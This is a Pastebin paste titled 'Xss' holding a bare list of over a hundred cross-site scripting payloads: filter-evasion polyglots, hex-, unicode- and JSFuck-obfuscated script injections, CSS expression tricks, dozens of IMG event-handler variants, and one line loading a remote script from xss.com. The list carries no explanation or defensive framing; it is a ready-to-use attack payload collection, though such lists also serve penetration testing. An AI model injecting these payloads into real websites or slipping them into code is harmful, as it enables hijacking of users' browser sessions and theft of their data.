API tools faq
paste
Shadowhunters

Xss

Shadowhunters
Jul 13th, 2019
134
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.79 KB | None | 0 0
raw download clone embed print report
  1. " onmouseover=alert(9205) bad="
  2. "/>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=prompt() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=prompt(123)//>\x3e
  3. jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
  4. " onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)//
  5. jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
  6. ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
  7. '<script>alert(1)</script>
  8. <script>alert(1)</script>
  9. <script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
  10. <script>\u0061\u006C\u0065\u0072\u0074(123)</script>
  11. <script>document.write(String.fromCharCode(60,105,109,103,32,115,114,99,61,49,32,111,110,101,114,114,111,114,61,97,108,101,114,116,40,48,41,62));</script>
  12. <script>document.write('<img src=1 onerror=alert(1)>');</script>
  13. " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
  14. ">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
  15. /*-->]]>%>?></object></script></title></textarea></noscript></style></xmp>'-/"/-alert(1)//><img src=1 onerror=alert(1)>'
  16. javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
  17. javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
  18. javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
  19. javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
  20. javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
  21. javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
  22. javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
  23. --></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
  24. /</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
  25. ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
  26. “ onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
  27. '">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg">
  28. <script>document.write('\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x31\x20\x6F\x6E\x65\x72\x72\x6F\x72\x3D\x61\x6C\x65\x72\x74\x28\x31\x29\x3E');</script>
  29. <script>document.write('\074\151\155\147\040\163\162\143\075\061\040\157\156\145\162\162\157\162\075\141\154\145\162\164\050\061\051\076');</script>
  30. <script>document.write('\u003C\u0069\u006D\u0067\u0020\u0073\u0072\u0063\u003D\u0031\u0020\u006F\u006E\u0065\u0072\u0072\u006F\u0072\u003D\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029\u003E');</script>
  31. <div style="x:expression(alert(1))">Joker</div>
  32. <div style="x:\65\78\70\72\65\73\73\69\6f\6e(alert(1))">Joker</div>
  33. <div style="x:\000065\000078\000070\000072\000065\000073\000073\000069\00006f\00006e(alert(1))">Joker</div>
  34. <div style="x:\65\78\70\72\65\73\73\69\6f\6e\028 alert \028 1 \029 \029">Joker</div>
  35. <iframe src="javascript:alert(1)"></iframe>
  36. <iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
  37. <img src="1" onerror="alert(1)" />
  38. <img src="1" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" />
  39. <iframe src="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;"></iframe>
  40. <script>document.write('<a hr\ef=j\avas\cript\:a\lert(2)>blah</a>');</script>
  41. <style>body{background-color:expression\(alert(1))}</style>
  42. javascript://--></title></style></textarea></script><svg "//' onclick=alert()//
  43. /</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*
  44. <"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></
  45. '%22()%26%25<><ScRiPt%20>alert(1)</ScRiPt>
  46. ' onmouseover=alert(9205) bad='
  47. "><svg/onload=prompt(1)>
  48. "onresize=prompt(1)>
  49. <svg/onload=prompt(1)
  50. <svg><script>prompt&#40;1)<b>
  51. <svg><script>prompt&#40;1)</script>
  52. '%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eshadowlabs(0x000045)%3C/script%3E
  53. <<scr\0ipt/src=http://xss.com/xss.js></script
  54. %253Cscript%253Ealert('XSS')%253C%252Fscript%253E
  55. <IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
  56. <IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
  57. <IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
  58. <IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
  59. <IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
  60. <IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
  61. <IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
  62. <IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
  63. <IMG SRC=x onoffline="alert(String.fromCharCode(88,83,83))">
  64. <IMG SRC=x onpagehide="alert(String.fromCharCode(88,83,83))">
  65. <IMG SRC=x onpageshow="alert(String.fromCharCode(88,83,83))">
  66. <IMG SRC=x onpopstate="alert(String.fromCharCode(88,83,83))">
  67. <IMG SRC=x onresize="alert(String.fromCharCode(88,83,83))">
  68. <IMG SRC=x onstorage="alert(String.fromCharCode(88,83,83))">
  69. <IMG SRC=x onunload="alert(String.fromCharCode(88,83,83))">
  70. <IMG SRC=x onblur="alert(String.fromCharCode(88,83,83))">
  71. <IMG SRC=x onchange="alert(String.fromCharCode(88,83,83))">
  72. <IMG SRC=x oncontextmenu="alert(String.fromCharCode(88,83,83))">
  73. <IMG SRC=x oninput="alert(String.fromCharCode(88,83,83))">
  74. <IMG SRC=x oninvalid="alert(String.fromCharCode(88,83,83))">
  75. <IMG SRC=x onreset="alert(String.fromCharCode(88,83,83))">
  76. <IMG SRC=x onsearch="alert(String.fromCharCode(88,83,83))">
  77. <IMG SRC=x onselect="alert(String.fromCharCode(88,83,83))">
  78. <IMG SRC=x onsubmit="alert(String.fromCharCode(88,83,83))">
  79. <IMG SRC=x onkeydown="alert(String.fromCharCode(88,83,83))">
  80. <IMG SRC=x onkeypress="alert(String.fromCharCode(88,83,83))">
  81. <IMG SRC=x onkeyup="alert(String.fromCharCode(88,83,83))">
  82. <IMG SRC=x onclick="alert(String.fromCharCode(88,83,83))">
  83. <IMG SRC=x ondblclick="alert(String.fromCharCode(88,83,83))">
  84. <IMG SRC=x onmousedown="alert(String.fromCharCode(88,83,83))">
  85. <IMG SRC=x onmousemove="alert(String.fromCharCode(88,83,83))">
  86. <IMG SRC=x onmouseout="alert(String.fromCharCode(88,83,83))">
  87. <IMG SRC=x onmouseover="alert(String.fromCharCode(88,83,83))">
  88. <IMG SRC=x onmouseup="alert(String.fromCharCode(88,83,83))">
  89. <IMG SRC=x onmousewheel="alert(String.fromCharCode(88,83,83))">
  90. <IMG SRC=x onwheel="alert(String.fromCharCode(88,83,83))">
  91. <IMG SRC=x ondrag="alert(String.fromCharCode(88,83,83))">
  92. <IMG SRC=x ondragend="alert(String.fromCharCode(88,83,83))">
  93. <IMG SRC=x ondragenter="alert(String.fromCharCode(88,83,83))">
  94. <IMG SRC=x ondragleave="alert(String.fromCharCode(88,83,83))">
  95. <IMG SRC=x ondragover="alert(String.fromCharCode(88,83,83))">
  96. <IMG SRC=x ondragstart="alert(String.fromCharCode(88,83,83))">
  97. <IMG SRC=x ondrop="alert(String.fromCharCode(88,83,83))">
  98. <IMG SRC=x onscroll="alert(String.fromCharCode(88,83,83))">
  99. <IMG SRC=x oncopy="alert(String.fromCharCode(88,83,83))">
  100. <IMG SRC=x oncut="alert(String.fromCharCode(88,83,83))">
  101. <IMG SRC=x onpaste="alert(String.fromCharCode(88,83,83))">
  102. <IMG SRC=x onabort="alert(String.fromCharCode(88,83,83))">
  103. <IMG SRC=x oncanplay="alert(String.fromCharCode(88,83,83))">
  104. <IMG SRC=x oncanplaythrough="alert(String.fromCharCode(88,83,83))">
  105. <IMG SRC=x oncuechange="alert(String.fromCharCode(88,83,83))">
  106. <IMG SRC=x ondurationchange="alert(String.fromCharCode(88,83,83))">
  107. <IMG SRC=x onemptied="alert(String.fromCharCode(88,83,83))">
  108. <IMG SRC=x onended="alert(String.fromCharCode(88,83,83))">
  109.  
  110.  
  111.  
  112.  
  113.  
  114. <script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!